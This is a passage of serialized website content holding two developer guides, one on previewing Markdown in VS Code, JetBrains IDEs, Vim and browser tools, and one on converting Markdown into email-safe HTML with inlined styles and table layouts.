friction.",[2043,147034,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":147036},[147037,147038,147039,147040,147045,147049,147050,147051,147052,147053],{"id":146577,"depth":337,"text":146578},{"id":146587,"depth":337,"text":146588},{"id":146626,"depth":337,"text":146627},{"id":146720,"depth":337,"text":146721,"children":147041},[147042,147043,147044],{"id":146727,"depth":343,"text":146728},{"id":146743,"depth":343,"text":146744},{"id":146773,"depth":343,"text":146774},{"id":146789,"depth":337,"text":146790,"children":147046},[147047,147048],{"id":146796,"depth":343,"text":146797},{"id":146821,"depth":343,"text":146822},{"id":146907,"depth":337,"text":146908},{"id":738,"depth":337,"text":739},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how Markdown preview works, compare editors, understand the rendering pipeline, and explore safe output and export options.",{"immutable":363},{"title":146572,"description":147054},"guides\u002Fmarkdown-preview-guide","G2sdzkKR9OqRlRk4vt0YWyt6HiDVZJvkkAFs4ygZdmE",{"id":147060,"title":147061,"body":147062,"date":2070,"description":147481,"extension":361,"meta":147482,"navigation":363,"path":147483,"readingTime":1710,"seo":147484,"stem":147485,"__hash__":147486},"guides\u002Fguides\u002Fmarkdown-preview-vs-code-ides.md","Markdown Preview in VS Code and Other IDEs",{"type":8,"value":147063,"toc":147471},[147064,147067,147071,147089,147092,147126,147133,147158,147161,147181,147185,147195,147197,147223,147230,147234,147237,147286,147291,147322,147326,147329,147332,147361,147364,147368,147371,147397,147400,147417,147419,147439,147441,147458,147460,147469],[16,147065,147066],{},"Writing Markdown is only half the workflow. You also need to see how it renders — headings, lists, code blocks, tables, and embedded images. Most modern editors include a built-in Markdown preview, and third-party extensions add features like live reload, custom styling, and GFM support.",[11,147068,147070],{"id":147069},"vs-code-built-in-preview","VS Code Built-In Preview",[16,147072,147073,147074,147076,147077,147080,147081,147084,147085,147088],{},"VS Code ships with a Markdown preview out of the box. Open a ",[143,147075,146513],{}," file and press ",[143,147078,147079],{},"Ctrl+Shift+V"," (Windows\u002FLinux) or ",[143,147082,147083],{},"Cmd+Shift+V"," (macOS) to open a preview tab. For a side-by-side view, use ",[143,147086,147087],{},"Ctrl+K V"," — the editor sits on the left, and the preview updates on the right as you type.",[16,147090,147091],{},"The built-in preview supports CommonMark by default. You can enable GitHub Flavored Markdown (GFM) — tables, task lists, strikethrough — through workspace settings:",[135,147093,147095],{"className":23484,"code":147094,"language":23486,"meta":141,"style":141},"{\n  \"markdown.preview.breaks\": \"on\",\n  \"markdown.preview.typographer\": true\n}\n",[143,147096,147097,147101,147113,147122],{"__ignoreMap":141},[1560,147098,147099],{"class":1562,"line":1563},[1560,147100,23493],{"class":1570},[1560,147102,147103,147106,147108,147111],{"class":1562,"line":337},[1560,147104,147105],{"class":1576},"  \"markdown.preview.breaks\"",[1560,147107,1663],{"class":1570},[1560,147109,147110],{"class":5634},"\"on\"",[1560,147112,11943],{"class":1570},[1560,147114,147115,147118,147120],{"class":1562,"line":343},[1560,147116,147117],{"class":1576},"  \"markdown.preview.typographer\"",[1560,147119,1663],{"class":1570},[1560,147121,23527],{"class":1576},[1560,147123,147124],{"class":1562,"line":365},[1560,147125,1585],{"class":1570},[16,147127,147128,147129,147132],{},"Custom CSS lets you match the preview to your documentation site's actual styling. Create a ",[143,147130,147131],{},".vscode\u002Fmarkdown.css"," file and reference it in settings:",[135,147134,147136],{"className":23484,"code":147135,"language":23486,"meta":141,"style":141},"{\n  \"markdown.styles\": [\".vscode\u002Fmarkdown.css\"]\n}\n",[143,147137,147138,147142,147154],{"__ignoreMap":141},[1560,147139,147140],{"class":1562,"line":1563},[1560,147141,23493],{"class":1570},[1560,147143,147144,147147,147149,147152],{"class":1562,"line":337},[1560,147145,147146],{"class":1576},"  \"markdown.styles\"",[1560,147148,37187],{"class":1570},[1560,147150,147151],{"class":5634},"\".vscode\u002Fmarkdown.css\"",[1560,147153,37203],{"class":1570},[1560,147155,147156],{"class":1562,"line":343},[1560,147157,1585],{"class":1570},[16,147159,147160],{},"Popular VS Code Markdown extensions:",[41,147162,147163,147169,147175],{},[44,147164,147165,147168],{},[47,147166,147167],{},"Markdown All in One"," — keyboard shortcuts, table of contents, auto-preview",[44,147170,147171,147174],{},[47,147172,147173],{},"Markdown Preview Enhanced"," — Mermaid diagrams, MathJax, presentation mode",[44,147176,147177,147180],{},[47,147178,147179],{},"markdownlint"," — linting and style enforcement as you write",[11,147182,147184],{"id":147183},"jetbrains-ides-intellij-webstorm-pycharm","JetBrains IDEs (IntelliJ, WebStorm, PyCharm)",[16,147186,147187,147188,147190,147191,147194],{},"JetBrains IDEs include a Markdown preview panel that opens automatically when you edit ",[143,147189,146513],{}," files. Click the ",[47,147192,147193],{},"Preview"," tab in the editor's bottom-right corner.",[16,147196,8605],{},[41,147198,147199,147205,147211,147217],{},[44,147200,147201,147204],{},[47,147202,147203],{},"Split editor\u002Fpreview"," — drag the divider to adjust the layout",[44,147206,147207,147210],{},[47,147208,147209],{},"Multiple preview providers"," — switch between JavaFX, JCEF, and Jupyter renderers in Settings → Languages & Frameworks → Markdown",[44,147212,147213,147216],{},[47,147214,147215],{},"Custom CSS"," — add your own stylesheet under the preview provider settings",[44,147218,147219,147222],{},[47,147220,147221],{},"GFM support"," — tables, task lists, and syntax highlighting in fenced code blocks work by default",[16,147224,147225,147226,147229],{},"The IntelliJ Markdown plugin also supports navigation — ",[143,147227,147228],{},"Ctrl+Click"," a relative link to jump to the target file, and auto-complete for link paths.",[11,147231,147233],{"id":147232},"vim-and-neovim","Vim and Neovim",[16,147235,147236],{},"Vim has no built-in preview, but several plugins fill the gap:",[193,147238,147239,147251],{},[196,147240,147241],{},[199,147242,147243,147246,147249],{},[202,147244,147245],{},"Plugin",[202,147247,147248],{},"Preview Method",[202,147250,102628],{},[211,147252,147253,147264,147275],{},[199,147254,147255,147258,147261],{},[216,147256,147257],{},"markdown-preview.nvim",[216,147259,147260],{},"Browser (live)",[216,147262,147263],{},"Live reload, Mermaid, MathJax",[199,147265,147266,147269,147272],{},[216,147267,147268],{},"vim-markdown",[216,147270,147271],{},"Inline rendering",[216,147273,147274],{},"Folding, conceal, syntax",[199,147276,147277,147280,147283],{},[216,147278,147279],{},"glow.nvim",[216,147281,147282],{},"Terminal (glow)",[216,147284,147285],{},"Renders in floating window",[16,147287,147288,147290],{},[143,147289,147257],{}," is the most popular choice. It starts a local server and opens your default browser. Every save triggers a live reload — the browser tab updates instantly.",[135,147292,147296],{"className":147293,"code":147294,"language":147295,"meta":141,"style":141},"language-vim shiki shiki-themes github-light github-dark","\" Install with vim-plug\nPlug 'iamcco\u002Fmarkdown-preview.nvim', { 'do': 'cd app && npm install' }\n\n\" Keybindings\nnmap \u003CC-p> \u003CPlug>MarkdownPreviewToggle\n","vim",[143,147297,147298,147303,147308,147312,147317],{"__ignoreMap":141},[1560,147299,147300],{"class":1562,"line":1563},[1560,147301,147302],{},"\" Install with vim-plug\n",[1560,147304,147305],{"class":1562,"line":337},[1560,147306,147307],{},"Plug 'iamcco\u002Fmarkdown-preview.nvim', { 'do': 'cd app && npm install' }\n",[1560,147309,147310],{"class":1562,"line":343},[1560,147311,1702],{"emptyLinePlaceholder":363},[1560,147313,147314],{"class":1562,"line":365},[1560,147315,147316],{},"\" Keybindings\n",[1560,147318,147319],{"class":1562,"line":889},[1560,147320,147321],{},"nmap \u003CC-p> \u003CPlug>MarkdownPreviewToggle\n",[11,147323,147325],{"id":147324},"browser-based-preview-tools","Browser-Based Preview Tools",[16,147327,147328],{},"Sometimes you need to preview Markdown outside your editor — when reviewing a file on a shared drive, checking a README before committing, or collaborating with non-technical teammates.",[16,147330,147331],{},"Online Markdown preview tools offer:",[41,147333,147334,147343,147349,147355],{},[44,147335,147336,147339,147340,147342],{},[47,147337,147338],{},"Instant rendering"," — paste or drag a ",[143,147341,146513],{}," file and see the result",[44,147344,147345,147348],{},[47,147346,147347],{},"GFM compatibility"," — tables, task lists, autolinks, and footnotes",[44,147350,147351,147354],{},[47,147352,147353],{},"Export options"," — copy rendered HTML, download as PDF",[44,147356,147357,147360],{},[47,147358,147359],{},"No installation"," — works on any device with a browser",[16,147362,147363],{},"This is where a dedicated preview tool adds value beyond what editors provide. You get a consistent, portable preview without installing plugins or configuring CSS.",[11,147365,147367],{"id":147366},"preview-consistency-tips","Preview Consistency Tips",[16,147369,147370],{},"Your editor's preview may not match your production site. These discrepancies cause formatting surprises after publishing:",[77,147372,147373,147379,147385,147391],{},[44,147374,147375,147378],{},[47,147376,147377],{},"CSS differences"," — editor previews use generic styles; your site uses custom fonts, spacing, and colors",[44,147380,147381,147384],{},[47,147382,147383],{},"Markdown dialect"," — GFM adds tables and task lists that CommonMark lacks",[44,147386,147387,147390],{},[47,147388,147389],{},"Plugin rendering"," — Mermaid diagrams, math blocks, and custom shortcodes may render differently",[44,147392,147393,147396],{},[47,147394,147395],{},"Image paths"," — relative image URLs that work locally may break in production",[16,147398,147399],{},"To minimize surprises:",[41,147401,147402,147405,147411,147414],{},[44,147403,147404],{},"Configure your editor preview CSS to match your production stylesheet",[44,147406,147407,147408,147410],{},"Use the same Markdown parser in preview and production (e.g., ",[143,147409,146736],{}," with matching plugins)",[44,147412,147413],{},"Test with the same GFM dialect your hosting platform uses",[44,147415,147416],{},"Validate image paths against your deployment directory structure",[11,147418,1355],{"id":1354},[41,147420,147421,147424,147427,147433,147436],{},[44,147422,147423],{},"VS Code includes a built-in Markdown preview with split-view and custom CSS support",[44,147425,147426],{},"JetBrains IDEs offer multiple preview renderers and inline link navigation",[44,147428,147429,147430,147432],{},"Vim users rely on plugins like ",[143,147431,147257],{}," for browser-based live preview",[44,147434,147435],{},"Browser-based tools provide a portable preview option without editor configuration",[44,147437,147438],{},"Match your preview CSS and Markdown dialect to your production site to avoid formatting surprises",[11,147440,321],{"id":320},[41,147442,147443,147448,147453],{},[44,147444,147445],{},[98,147446,147447],{"href":110344},"Markdown Preview: Real-Time Rendering for Your Documents",[44,147449,147450],{},[98,147451,147452],{"href":110399},"GitHub Flavored Markdown: Extensions and Syntax Guide",[44,147454,147455],{},[98,147456,147457],{"href":110350},"Markdown Writing Workflow: From Draft to Published",[11,147459,286],{"id":285},[16,147461,147462,147463,147465,147466,147468],{},"Preview your Markdown files instantly with our free ",[98,147464,110366],{"href":110365}," tool. Paste your content or upload a ",[143,147467,146513],{}," file — see GFM-rendered output with tables, code blocks, and links in seconds.",[2043,147470,23838],{},{"title":141,"searchDepth":337,"depth":337,"links":147472},[147473,147474,147475,147476,147477,147478,147479,147480],{"id":147069,"depth":337,"text":147070},{"id":147183,"depth":337,"text":147184},{"id":147232,"depth":337,"text":147233},{"id":147324,"depth":337,"text":147325},{"id":147366,"depth":337,"text":147367},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to preview Markdown files in VS Code, JetBrains IDEs, Vim, and other editors — with tips on live reload, custom CSS, and extensions.",{"immutable":363},"\u002Fguides\u002Fmarkdown-preview-vs-code-ides",{"title":147061,"description":147481},"guides\u002Fmarkdown-preview-vs-code-ides","5NUpOToild-gwFgNDz1y6MHoQ-RtWTsF-eVGLidlc9k",{"id":147488,"title":147489,"body":147490,"date":2070,"description":148546,"extension":361,"meta":148547,"navigation":363,"path":148548,"readingTime":1710,"seo":148549,"stem":148550,"__hash__":148551},"guides\u002Fguides\u002Fmarkdown-to-email-html.md","Converting Markdown to Email HTML: A Practical Guide",{"type":8,"value":147491,"toc":148528},[147492,147496,147502,147505,147509,147513,147516,147631,147635,147644,147785,147789,147793,147804,147893,147897,147900,148025,148029,148032,148064,148068,148075,148170,148174,148177,148356,148360,148363,148448,148450,148482,148484,148511,148513,148520,148525],[11,147493,147495],{"id":147494},"email-html-is-not-web-html","Email HTML Is Not Web HTML",[16,147497,147498,147499,147501],{},"Web browsers render standards-compliant HTML consistently. Email clients do not. Gmail strips ",[143,147500,41299],{}," blocks, Outlook uses Microsoft Word for rendering, and mobile clients impose their own constraints. When you convert Markdown to HTML for email, you must account for these limitations.",[16,147503,147504],{},"The conversion itself is straightforward. Making the output render reliably across 50+ email clients is the real challenge.",[11,147506,147508],{"id":147507},"the-conversion-pipeline","The Conversion Pipeline",[33,147510,147512],{"id":147511},"step-1-markdown-to-standard-html","Step 1: Markdown to Standard HTML",[16,147514,147515],{},"Use a Markdown parser to produce clean HTML. Most parsers generate semantic markup that works fine for web but needs adjustment for email.",[135,147517,147519],{"className":1607,"code":147518,"language":1609,"meta":141,"style":141},"const { marked } = require('marked');\n\nconst markdown = `\n# Welcome to Our Newsletter\n\nThis week we cover:\n\n- New feature release\n- Performance improvements\n- Upcoming events\n\n## Feature Release\n\nThe **dashboard** now supports custom widgets. [Learn more](https:\u002F\u002Fexample.com\u002Ffeatures).\n`;\n\nconst html = marked.parse(markdown);\n",[143,147520,147521,147541,147545,147556,147561,147565,147570,147574,147579,147584,147589,147593,147598,147602,147607,147613,147617],{"__ignoreMap":141},[1560,147522,147523,147525,147527,147529,147531,147533,147535,147537,147539],{"class":1562,"line":1563},[1560,147524,8180],{"class":1669},[1560,147526,1658],{"class":1570},[1560,147528,145763],{"class":1576},[1560,147530,49704],{"class":1570},[1560,147532,7297],{"class":1669},[1560,147534,20658],{"class":1566},[1560,147536,1688],{"class":1570},[1560,147538,145774],{"class":5634},[1560,147540,1744],{"class":1570},[1560,147542,147543],{"class":1562,"line":337},[1560,147544,1702],{"emptyLinePlaceholder":363},[1560,147546,147547,147549,147552,147554],{"class":1562,"line":343},[1560,147548,8180],{"class":1669},[1560,147550,147551],{"class":1576}," markdown",[1560,147553,8186],{"class":1669},[1560,147555,9198],{"class":5634},[1560,147557,147558],{"class":1562,"line":365},[1560,147559,147560],{"class":5634},"# Welcome to Our Newsletter\n",[1560,147562,147563],{"class":1562,"line":889},[1560,147564,1702],{"emptyLinePlaceholder":363},[1560,147566,147567],{"class":1562,"line":1710},[1560,147568,147569],{"class":5634},"This week we cover:\n",[1560,147571,147572],{"class":1562,"line":1717},[1560,147573,1702],{"emptyLinePlaceholder":363},[1560,147575,147576],{"class":1562,"line":1747},[1560,147577,147578],{"class":5634},"- New feature release\n",[1560,147580,147581],{"class":1562,"line":2507},[1560,147582,147583],{"class":5634},"- Performance improvements\n",[1560,147585,147586],{"class":1562,"line":2524},[1560,147587,147588],{"class":5634},"- Upcoming events\n",[1560,147590,147591],{"class":1562,"line":2529},[1560,147592,1702],{"emptyLinePlaceholder":363},[1560,147594,147595],{"class":1562,"line":2534},[1560,147596,147597],{"class":5634},"## Feature Release\n",[1560,147599,147600],{"class":1562,"line":2542},[1560,147601,1702],{"emptyLinePlaceholder":363},[1560,147603,147604],{"class":1562,"line":2558},[1560,147605,147606],{"class":5634},"The **dashboard** now supports custom widgets. [Learn more](https:\u002F\u002Fexample.com\u002Ffeatures).\n",[1560,147608,147609,147611],{"class":1562,"line":2570},[1560,147610,8219],{"class":5634},[1560,147612,2228],{"class":1570},[1560,147614,147615],{"class":1562,"line":6638},[1560,147616,1702],{"emptyLinePlaceholder":363},[1560,147618,147619,147621,147623,147625,147627,147629],{"class":1562,"line":11615},[1560,147620,8180],{"class":1669},[1560,147622,108795],{"class":1576},[1560,147624,8186],{"class":1669},[1560,147626,145925],{"class":1570},[1560,147628,80838],{"class":1566},[1560,147630,145930],{"class":1570},[33,147632,147634],{"id":147633},"step-2-inline-all-styles","Step 2: Inline All Styles",[16,147636,147637,147638,147640,147641,147643],{},"Email clients like Gmail remove ",[143,147639,41299],{}," blocks from the ",[143,147642,13169],{},". Every CSS property must be inlined on each element.",[135,147645,147647],{"className":1607,"code":147646,"language":1609,"meta":141,"style":141},"const juice = require('juice');\n\nconst styledHtml = `\n\u003Chtml>\n\u003Chead>\n\u003Cstyle>\n  h1 { color: #1a1a1a; font-size: 24px; font-family: Arial, sans-serif; }\n  p { color: #333333; font-size: 16px; line-height: 1.5; }\n  a { color: #0066cc; text-decoration: underline; }\n  ul { padding-left: 20px; }\n  li { margin-bottom: 8px; }\n\u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n  ${html}\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n`;\n\nconst inlinedHtml = juice(styledHtml);\n\u002F\u002F All styles are now inline on each element\n",[143,147648,147649,147667,147671,147682,147687,147692,147697,147702,147707,147712,147717,147722,147727,147732,147737,147746,147751,147756,147762,147766,147780],{"__ignoreMap":141},[1560,147650,147651,147653,147656,147658,147660,147662,147665],{"class":1562,"line":1563},[1560,147652,8180],{"class":1669},[1560,147654,147655],{"class":1576}," juice",[1560,147657,8186],{"class":1669},[1560,147659,20658],{"class":1566},[1560,147661,1688],{"class":1570},[1560,147663,147664],{"class":5634},"'juice'",[1560,147666,1744],{"class":1570},[1560,147668,147669],{"class":1562,"line":337},[1560,147670,1702],{"emptyLinePlaceholder":363},[1560,147672,147673,147675,147678,147680],{"class":1562,"line":343},[1560,147674,8180],{"class":1669},[1560,147676,147677],{"class":1576}," styledHtml",[1560,147679,8186],{"class":1669},[1560,147681,9198],{"class":5634},[1560,147683,147684],{"class":1562,"line":365},[1560,147685,147686],{"class":5634},"\u003Chtml>\n",[1560,147688,147689],{"class":1562,"line":889},[1560,147690,147691],{"class":5634},"\u003Chead>\n",[1560,147693,147694],{"class":1562,"line":1710},[1560,147695,147696],{"class":5634},"\u003Cstyle>\n",[1560,147698,147699],{"class":1562,"line":1717},[1560,147700,147701],{"class":5634},"  h1 { color: #1a1a1a; font-size: 24px; font-family: Arial, sans-serif; }\n",[1560,147703,147704],{"class":1562,"line":1747},[1560,147705,147706],{"class":5634},"  p { color: #333333; font-size: 16px; line-height: 1.5; }\n",[1560,147708,147709],{"class":1562,"line":2507},[1560,147710,147711],{"class":5634},"  a { color: #0066cc; text-decoration: underline; }\n",[1560,147713,147714],{"class":1562,"line":2524},[1560,147715,147716],{"class":5634},"  ul { padding-left: 20px; }\n",[1560,147718,147719],{"class":1562,"line":2529},[1560,147720,147721],{"class":5634},"  li { margin-bottom: 8px; }\n",[1560,147723,147724],{"class":1562,"line":2534},[1560,147725,147726],{"class":5634},"\u003C\u002Fstyle>\n",[1560,147728,147729],{"class":1562,"line":2542},[1560,147730,147731],{"class":5634},"\u003C\u002Fhead>\n",[1560,147733,147734],{"class":1562,"line":2558},[1560,147735,147736],{"class":5634},"\u003Cbody>\n",[1560,147738,147739,147742,147744],{"class":1562,"line":2570},[1560,147740,147741],{"class":5634},"  ${",[1560,147743,6419],{"class":1570},[1560,147745,1585],{"class":5634},[1560,147747,147748],{"class":1562,"line":6638},[1560,147749,147750],{"class":5634},"\u003C\u002Fbody>\n",[1560,147752,147753],{"class":1562,"line":11615},[1560,147754,147755],{"class":5634},"\u003C\u002Fhtml>\n",[1560,147757,147758,147760],{"class":1562,"line":11621},[1560,147759,8219],{"class":5634},[1560,147761,2228],{"class":1570},[1560,147763,147764],{"class":1562,"line":11633},[1560,147765,1702],{"emptyLinePlaceholder":363},[1560,147767,147768,147770,147773,147775,147777],{"class":1562,"line":11638},[1560,147769,8180],{"class":1669},[1560,147771,147772],{"class":1576}," inlinedHtml",[1560,147774,8186],{"class":1669},[1560,147776,147655],{"class":1566},[1560,147778,147779],{"class":1570},"(styledHtml);\n",[1560,147781,147782],{"class":1562,"line":11672},[1560,147783,147784],{"class":1649},"\u002F\u002F All styles are now inline on each element\n",[11,147786,147788],{"id":147787},"handling-markdown-elements-for-email","handling Markdown Elements for Email",[33,147790,147792],{"id":147791},"headings","Headings",[16,147794,59011,147795,147798,147799,1531,147801,147803],{},[143,147796,147797],{},"\u003Ch1>"," tags in email — some clients override heading styles unpredictably. Use styled ",[143,147800,128843],{},[143,147802,69003],{}," tags instead.",[135,147805,147807],{"className":6417,"code":147806,"language":6419,"meta":141,"style":141},"\u003C!-- Instead of \u003Ch1> -->\n\u003Ctable width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">\n  \u003Ctr>\n    \u003Ctd style=\"font-family: Arial, sans-serif; font-size: 24px; font-weight: bold; color: #1a1a1a; padding-bottom: 16px;\">\n      Welcome to Our Newsletter\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,147808,147809,147814,147841,147849,147864,147869,147877,147885],{"__ignoreMap":141},[1560,147810,147811],{"class":1562,"line":1563},[1560,147812,147813],{"class":1649},"\u003C!-- Instead of \u003Ch1> -->\n",[1560,147815,147816,147818,147820,147822,147824,147827,147829,147831,147833,147835,147837,147839],{"class":1562,"line":337},[1560,147817,6431],{"class":1570},[1560,147819,193],{"class":2484},[1560,147821,10649],{"class":1566},[1560,147823,7297],{"class":1570},[1560,147825,147826],{"class":5634},"\"100%\"",[1560,147828,126287],{"class":1566},[1560,147830,7297],{"class":1570},[1560,147832,126292],{"class":5634},[1560,147834,126295],{"class":1566},[1560,147836,7297],{"class":1570},[1560,147838,126292],{"class":5634},[1560,147840,6441],{"class":1570},[1560,147842,147843,147845,147847],{"class":1562,"line":343},[1560,147844,11223],{"class":1570},[1560,147846,199],{"class":2484},[1560,147848,6441],{"class":1570},[1560,147850,147851,147853,147855,147857,147859,147862],{"class":1562,"line":365},[1560,147852,12292],{"class":1570},[1560,147854,216],{"class":2484},[1560,147856,11449],{"class":1566},[1560,147858,7297],{"class":1570},[1560,147860,147861],{"class":5634},"\"font-family: Arial, sans-serif; font-size: 24px; font-weight: bold; color: #1a1a1a; padding-bottom: 16px;\"",[1560,147863,6441],{"class":1570},[1560,147865,147866],{"class":1562,"line":889},[1560,147867,147868],{"class":1570},"      Welcome to Our Newsletter\n",[1560,147870,147871,147873,147875],{"class":1562,"line":1710},[1560,147872,124461],{"class":1570},[1560,147874,216],{"class":2484},[1560,147876,6441],{"class":1570},[1560,147878,147879,147881,147883],{"class":1562,"line":1717},[1560,147880,12331],{"class":1570},[1560,147882,199],{"class":2484},[1560,147884,6441],{"class":1570},[1560,147886,147887,147889,147891],{"class":1562,"line":1747},[1560,147888,11242],{"class":1570},[1560,147890,193],{"class":2484},[1560,147892,6441],{"class":1570},[33,147894,147896],{"id":147895},"lists","Lists",[16,147898,147899],{},"Unordered and ordered lists render inconsistently across clients. Convert them to table-based layouts for reliable indentation and bullet display.",[135,147901,147903],{"className":6417,"code":147902,"language":6419,"meta":141,"style":141},"\u003C!-- Instead of \u003Cul>\u003Cli> -->\n\u003Ctable cellpadding=\"0\" cellspacing=\"0\">\n  \u003Ctr>\n    \u003Ctd style=\"font-family: Arial, sans-serif; font-size: 16px; color: #333333; padding-bottom: 8px;\">\n      • New feature release\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n    \u003Ctd style=\"font-family: Arial, sans-serif; font-size: 16px; color: #333333; padding-bottom: 8px;\">\n      • Performance improvements\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,147904,147905,147910,147930,147938,147953,147958,147966,147974,147982,147996,148001,148009,148017],{"__ignoreMap":141},[1560,147906,147907],{"class":1562,"line":1563},[1560,147908,147909],{"class":1649},"\u003C!-- Instead of \u003Cul>\u003Cli> -->\n",[1560,147911,147912,147914,147916,147918,147920,147922,147924,147926,147928],{"class":1562,"line":337},[1560,147913,6431],{"class":1570},[1560,147915,193],{"class":2484},[1560,147917,126287],{"class":1566},[1560,147919,7297],{"class":1570},[1560,147921,126292],{"class":5634},[1560,147923,126295],{"class":1566},[1560,147925,7297],{"class":1570},[1560,147927,126292],{"class":5634},[1560,147929,6441],{"class":1570},[1560,147931,147932,147934,147936],{"class":1562,"line":343},[1560,147933,11223],{"class":1570},[1560,147935,199],{"class":2484},[1560,147937,6441],{"class":1570},[1560,147939,147940,147942,147944,147946,147948,147951],{"class":1562,"line":365},[1560,147941,12292],{"class":1570},[1560,147943,216],{"class":2484},[1560,147945,11449],{"class":1566},[1560,147947,7297],{"class":1570},[1560,147949,147950],{"class":5634},"\"font-family: Arial, sans-serif; font-size: 16px; color: #333333; padding-bottom: 8px;\"",[1560,147952,6441],{"class":1570},[1560,147954,147955],{"class":1562,"line":889},[1560,147956,147957],{"class":1570},"      • New feature release\n",[1560,147959,147960,147962,147964],{"class":1562,"line":1710},[1560,147961,124461],{"class":1570},[1560,147963,216],{"class":2484},[1560,147965,6441],{"class":1570},[1560,147967,147968,147970,147972],{"class":1562,"line":1717},[1560,147969,12331],{"class":1570},[1560,147971,199],{"class":2484},[1560,147973,6441],{"class":1570},[1560,147975,147976,147978,147980],{"class":1562,"line":1747},[1560,147977,11223],{"class":1570},[1560,147979,199],{"class":2484},[1560,147981,6441],{"class":1570},[1560,147983,147984,147986,147988,147990,147992,147994],{"class":1562,"line":2507},[1560,147985,12292],{"class":1570},[1560,147987,216],{"class":2484},[1560,147989,11449],{"class":1566},[1560,147991,7297],{"class":1570},[1560,147993,147950],{"class":5634},[1560,147995,6441],{"class":1570},[1560,147997,147998],{"class":1562,"line":2524},[1560,147999,148000],{"class":1570},"      • Performance improvements\n",[1560,148002,148003,148005,148007],{"class":1562,"line":2529},[1560,148004,124461],{"class":1570},[1560,148006,216],{"class":2484},[1560,148008,6441],{"class":1570},[1560,148010,148011,148013,148015],{"class":1562,"line":2534},[1560,148012,12331],{"class":1570},[1560,148014,199],{"class":2484},[1560,148016,6441],{"class":1570},[1560,148018,148019,148021,148023],{"class":1562,"line":2542},[1560,148020,11242],{"class":1570},[1560,148022,193],{"class":2484},[1560,148024,6441],{"class":1570},[33,148026,148028],{"id":148027},"links","Links",[16,148030,148031],{},"Always use absolute URLs and include both color and underline styles inline:",[135,148033,148035],{"className":6417,"code":148034,"language":6419,"meta":141,"style":141},"\u003Ca href=\"https:\u002F\u002Fexample.com\u002Ffeatures\" style=\"color: #0066cc; text-decoration: underline;\">Learn more\u003C\u002Fa>\n",[143,148036,148037],{"__ignoreMap":141},[1560,148038,148039,148041,148043,148045,148047,148050,148052,148054,148057,148060,148062],{"class":1562,"line":1563},[1560,148040,6431],{"class":1570},[1560,148042,98],{"class":2484},[1560,148044,41004],{"class":1566},[1560,148046,7297],{"class":1570},[1560,148048,148049],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Ffeatures\"",[1560,148051,11449],{"class":1566},[1560,148053,7297],{"class":1570},[1560,148055,148056],{"class":5634},"\"color: #0066cc; text-decoration: underline;\"",[1560,148058,148059],{"class":1570},">Learn more\u003C\u002F",[1560,148061,98],{"class":2484},[1560,148063,6441],{"class":1570},[33,148065,148067],{"id":148066},"code-blocks","Code Blocks",[16,148069,148070,148071,148074],{},"Code blocks are particularly tricky. Most Markdown parsers wrap code in ",[143,148072,148073],{},"\u003Cpre>\u003Ccode>"," tags, which many email clients render poorly or not at all.",[135,148076,148078],{"className":6417,"code":148077,"language":6419,"meta":141,"style":141},"\u003C!-- Email-safe code block -->\n\u003Ctable width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" style=\"background-color: #f5f5f5; border-radius: 4px;\">\n  \u003Ctr>\n    \u003Ctd style=\"font-family: 'Courier New', monospace; font-size: 14px; color: #333333; padding: 16px; white-space: pre-wrap; word-break: break-all;\">\nnpm install @example\u002Fsdk\n    \u003C\u002Ftd>\n  \u003C\u002Ftr>\n\u003C\u002Ftable>\n",[143,148079,148080,148085,148118,148126,148141,148146,148154,148162],{"__ignoreMap":141},[1560,148081,148082],{"class":1562,"line":1563},[1560,148083,148084],{"class":1649},"\u003C!-- Email-safe code block -->\n",[1560,148086,148087,148089,148091,148093,148095,148097,148099,148101,148103,148105,148107,148109,148111,148113,148116],{"class":1562,"line":337},[1560,148088,6431],{"class":1570},[1560,148090,193],{"class":2484},[1560,148092,10649],{"class":1566},[1560,148094,7297],{"class":1570},[1560,148096,147826],{"class":5634},[1560,148098,126287],{"class":1566},[1560,148100,7297],{"class":1570},[1560,148102,126292],{"class":5634},[1560,148104,126295],{"class":1566},[1560,148106,7297],{"class":1570},[1560,148108,126292],{"class":5634},[1560,148110,11449],{"class":1566},[1560,148112,7297],{"class":1570},[1560,148114,148115],{"class":5634},"\"background-color: #f5f5f5; border-radius: 4px;\"",[1560,148117,6441],{"class":1570},[1560,148119,148120,148122,148124],{"class":1562,"line":343},[1560,148121,11223],{"class":1570},[1560,148123,199],{"class":2484},[1560,148125,6441],{"class":1570},[1560,148127,148128,148130,148132,148134,148136,148139],{"class":1562,"line":365},[1560,148129,12292],{"class":1570},[1560,148131,216],{"class":2484},[1560,148133,11449],{"class":1566},[1560,148135,7297],{"class":1570},[1560,148137,148138],{"class":5634},"\"font-family: 'Courier New', monospace; font-size: 14px; color: #333333; padding: 16px; white-space: pre-wrap; word-break: break-all;\"",[1560,148140,6441],{"class":1570},[1560,148142,148143],{"class":1562,"line":889},[1560,148144,148145],{"class":1570},"npm install @example\u002Fsdk\n",[1560,148147,148148,148150,148152],{"class":1562,"line":1710},[1560,148149,124461],{"class":1570},[1560,148151,216],{"class":2484},[1560,148153,6441],{"class":1570},[1560,148155,148156,148158,148160],{"class":1562,"line":1717},[1560,148157,12331],{"class":1570},[1560,148159,199],{"class":2484},[1560,148161,6441],{"class":1570},[1560,148163,148164,148166,148168],{"class":1562,"line":1747},[1560,148165,11242],{"class":1570},[1560,148167,193],{"class":2484},[1560,148169,6441],{"class":1570},[11,148171,148173],{"id":148172},"layout-structure","Layout Structure",[16,148175,148176],{},"Email layouts should use nested tables with explicit widths. CSS Flexbox and Grid are not supported in many email clients.",[135,148178,148180],{"className":6417,"code":148179,"language":6419,"meta":141,"style":141},"\u003Ctable width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" style=\"background-color: #ffffff;\">\n  \u003Ctr>\n    \u003Ctd align=\"center\" style=\"padding: 20px;\">\n      \u003Ctable width=\"600\" 